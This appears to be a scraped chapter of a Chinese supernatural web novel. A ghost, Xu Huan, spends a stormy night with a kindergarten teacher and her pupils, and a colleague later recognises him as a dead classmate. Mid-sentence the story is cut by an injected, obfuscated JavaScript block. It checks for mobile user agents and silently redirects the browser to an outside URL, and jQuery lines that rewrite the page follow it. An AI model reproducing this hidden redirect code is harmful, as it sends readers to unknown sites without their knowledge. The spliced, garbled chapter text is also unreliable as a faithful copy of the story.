58. 平静的风雨夜

作品:《论如何在诡异文里避免被吃[九零]

    被提溜住命运的后脖颈,黑猫亮出爪子喵嗷地挣扎着不想被丢出门外。这点小利爪徐桓置若罔闻,在孩子们的目瞪口呆中打开门把乱扭的黑猫扔进狂风暴雨中。


    风刮乱了他的额发,可也仅限于此,外面的风雨以他为界一丝都没有漏进来。


    做完这些徐桓心满意足地掸掸手,无视狂风的阻力顺畅地关上大门将一切拒之门外。


    “瞧,这就是野兽该有的下场。”他笑得无害,仿佛刚才堪称杀生的举动不是出自他手。


    “大哥哥是怎么偷溜进来的?小心也被丢出去。”眼瞅着徐桓把猫扔出门外遭苦,孩子们瞬间对他带上天然的厌恶,语气可谓不善。


    “怎么是偷溜,是门卫看哥哥可怜所以让我来躲躲雨。”徐桓露出和善的一面慢慢走近,他轻声细语地耐心解释,“不是什么坏蛋强盗。”


    “可你把猫扔了!”


    “野猫有细菌,会让你们闹肚子。”


    “那也不能扔!”


    “还有跳蚤、虱子,钻进你们的毛发里吸食血液,哥哥我是在保护你们不让家长担心。”


    “真的?”他们已经在徐桓的话语中动摇。


    “真的,不信你们问问老师,野猫是不是有这些?”他似笑非笑地看向谢欣怡,显然不想听否定的回答。


    谢欣怡点点头,他确实没说错,但处理方式太烂。同时也惊讶于他对孩子们的耐心,还以为没几句话他就会回归本性。


    有老师背书,小孩子天生对待释放好意的人没有抵抗力,徐桓长得又好看,几句话就把他们哄住不再抗议,只剩谢欣怡是这里唯一不欢迎他的人。


    “这里没有多余的被褥。”她指出这点想让他知难而退。


    徐桓佯装柔弱跪趴在地抹着不存在的眼泪:“给我一点干净的地方挤挤就行,外面太冷了,老师可怜可怜我吧。”


    “大哥哥被雨淋到了吗?”不明真相的孩子还在关心一个鬼。


    徐桓对这个孩子俏皮地挤挤眼:“差点就要被雷劈死了,幸好还有地方躲。”


    “真的被雷劈到了?大哥哥没有事吧!”


    总有心软的被这些夸大其词拐骗,谢欣怡拍拍手,催促孩子们早点睡觉:“好了,时间不早了,好孩子该睡觉咯。”


    老师的话最管用,孩子们打着哈欠互道晚安很快安睡,谢欣怡则像护着鸡仔的鸡妈妈,站起来张开双臂挡在徐桓身前。


    “为什么不说。”要不是想来一次帅气登场,徐桓早来埋怨了,他对谢欣怡什么都不告知就把自己丢在家里这件事很不满。


    “就是怕你来闹腾。”谢欣怡有话直说,“孩子们怎么能看见你?”


    徐桓撇撇嘴,他又不是什么凶神恶煞,需要像防贼似的防自己吗?


    “香火妙处多多,这都不算啥事,没准以后咱们可以手牵手在太阳底下走上一走。”徐桓咧出森森白牙,一脸顽劣地说了个令谢欣怡胆寒,但对他来讲万分期待的事,“哎呀,小谢老师别这幅表情,这样的天气我可比玄猫有用。厉鬼看门,听听,多有面儿。”他指着自己自卖自夸,“而且,那位在这种日子出不来,有我更好。”


    谢欣怡被徐桓说得心里打鼓,也不知道真的假的,不过看他来去自如的样子,感觉这里的那位也没打算真的管他,可能是因为他是个有主的鬼。


    “说得好像我得感谢你。”嘴巴和心里都不太想。


    “不然呢?”徐桓绕过谢欣怡轻盈地翻上宽大的桌子盘腿一坐,“睡吧睡吧,让不用休息的鬼來值夜物尽其用。”


    又开始卖惨求夸。谢欣怡在心里叹气,徐桓总是这样,自虐般挖开伤口博得一点口头的夸奖或感谢。


    她在身上翻翻找找,摸出一块标有英文字母的巧克力:“园长晚上来的时候每人给了一块,我没吃,给你了。”


    “谢谢小谢老师。”徐桓接过给自己的供品,“我说怎么一进来就闻到了好闻的巧克力味儿。”他眉眼弯弯,笑得像只狡猾的狐狸。


    越看越觉得他没憋好事,但纠结下去今晚真别睡了,谢欣怡缓缓打了个哈欠跟人道晚安。


    “小谢老师这就睡了?不给个晚安吻吗?”徐桓继续欠招,他知道谢欣怡绝不会在孩子们面前发作。


    “给你一头锤行不行?”谢欣怡已经钻进被窝懒得跟人掰扯,“看在给你巧克力的份上赶赶蚊子。”秋天的蚊子最凶狠,她是不招了,孩子们可受不住。


    真会使唤人。徐桓捻开巧克力的包装纸将一整个含入口中,意料之外的,苦涩中掺杂着淡淡的甜,是大人才会爱吃的高纯度巧克力。


    “真苦,这个园长也不给个甜点的。”徐桓仔细泯开,努力咂摸里面的那点甜,就像品味谢欣怡偶尔给的好脸和他们之间不时产生的一点温情。


    “徐桓。”


    这次轮到鬼受到惊吓,他看向本来睡下的人不知何时坐起身,脑后的辫子被枕头压得挪了位置翘起一个滑稽的角。就见她面露担忧,口唇轻启。


    “你真的被雷劈了吗?”她好像是有闻到糊味。


    原来是为这事。


    徐桓笑意温和,动动手指就将困得快睁不开眼的人隔空推回床垫:“逗你的,快睡吧。”


    .


    一夜无梦,大雨过后潮气清新的空气随着清晨鸟鸣一同飘进室内,谢欣怡被几声清脆的啼鸣吵醒。


    她迷迷糊糊地坐起身环顾四周,孩子们横七八竖地躺在周围,露胳膊露腿的,也就是小孩子火力旺倒不至于着凉感冒;徐桓不知又躲去哪里,不过也好,不然不知该如何对等会来接手的老师解释他的存在。


    小心地给孩子们掖好被角,谢欣怡简单洗漱后扎起马尾,开始收拾院子里的狼藉。


    前一晚的狂风暴雨刮下不少大大小小的树杈,等会孩子们跑跑闹闹难免磕碰必须尽快收拾好,谢欣怡拽着枝杈撅断的柄部往角落里拖。


    “真勤快。”


    徐桓不知看了多久在一旁打趣,谢欣怡懒得理他,略略擦去汗珠,开始攻克最重的那一根。


    拖拽的震感把勉强存活至今的天牛从躲避的地方驱赶出来在枝叶上乱爬,细小的足部踩着谢欣怡的手指向上攀爬留下痒痒的异样痕迹。明显不妙额触觉令鸡皮疙瘩从背部一路蔓延,谢欣怡僵硬地转头看去,漆黑的虫子还在往上爬就要够上短袖的袖边。


    她尖叫一声疯狂甩臂,跑去老远的屋檐下检查身上还有没有别的虫子。徐桓被这幅滑稽样笑弯了腰,捏起地上的天牛把谢欣怡追得满院跑。


    “你个小混蛋!”谢欣怡跑去滑梯躲避徐桓的骚扰与他展开拉锯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195812|190957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    战,“只会帮倒忙!”


    “来求我啊,你知道我喜欢听什么。”他把捏着天牛的手往前伸,看谢欣怡一脸惊慌地退避三舍更是笑得不见眼。


    笑起来的小混蛋找回些少年人的青春活力倒是招人喜欢,如果不是以谢欣怡被吓得抱头鼠窜为代价的话。


    “欣怡。”今天接班的章静及时出现把谢欣怡叫过去,“来,过来。”


    这个早谢欣怡几年入职,为人和善,总是一副处变不惊的人,今天顶着一张煞白的脸紧紧握住她的手不让再动分毫。


    “小同学,老师没教过你长幼尊卑吗?别戏弄老师。”章静努力保持镇静,可说话打颤的音调出卖了她紧张惧怕的内心。


    徐桓眯起眼觑向她,丢掉天牛上前一步:“我帮谢老师捉虫子呢,没有戏弄她。”即便被人看到嘴里也没一句实话,“倒是您,这位老师您怎么了?脸色这么白是不舒服吗?”


    不等人回答,他缓缓吐出对章静来讲如同蛇蝎额话语:“我可以帮老师们看管一阵里面的孩子。”


    “不!”章静挺直腰板,拦住即将迈上台阶的人指向大门,“我没事,这位小同学你该回家了,别让家里人着急。”


    “您说的是。”徐桓快速瞥了眼谢欣怡,旋即露出无害的笑容,“谢谢老师昨晚的收留。”


    -这个老师不欢迎我呢-


    徐桓的声音传入脑海,听着可怜兮兮,但看他欠揍的表情怕是在为今天被打断的事琢磨之后怎么打击报复。他心眼小得很,只能他去肆意践踏别人的底线,绝不能有谁越雷池一步。


    “快回去吧。”谢欣怡也连忙摆手轰人,求求这位大爷别再折腾人。


    徐桓早做好了谢欣怡不站在自己这边的准备,但他还是想听听——“太阳要起来了,等会别晒着”这类暗含关心的话语,而不是生硬的轰人。好奇怪,关系明明变好了为什么还是听不到甜乎话。


    如果谢欣怡听到他的这番抱怨定然要翻给他一个大大的白眼,顺送一句——“你算老几!”


    等人走远,章静终于按捺不住心中的惧意,转头看向谢欣怡迫切地想要证实心中的答案:“你认识他吗?”


    谢欣怡当然不能实话实说,她摇摇头:“他就是昨晚来避雨的,可能是玩儿疯了没来得及回家。”


    “真的?没有任何异常?”章静顿了顿,“你、你确认过吗?他的……他的体温是正常的吗?”


    章静的反常引起谢欣怡的警觉,她为什么会这么在意?


    “静姐你说什么傻话呢,他就是一普通男生。”紧接又一句,“看你这么关切,是见过的谁家小孩吗?”


    “不……也不是这样。”章静紧张地四处张望确认没有第三人才肯说,“他……他跟我的一个初中同学很像……”她深呼吸几次才继续说道,“我那同学在高中的时候踩空楼梯摔死了。看到那个孩子我以为……我以为……”她没再说下去,颤抖地环住自己,高升的太阳也无法驱散心中的阴寒。


    谢欣怡安慰地说着世间没鬼的话,可也只有她知道,徐桓就是章静说的人,从没想过竟会从外人之口第一次知道他的死因。


    高中啊……谢欣怡心有戚戚,不论哪个年代大学都是跨越阶级的最佳门槛,徐桓就差一点点,他本该有一个光明美好的未来。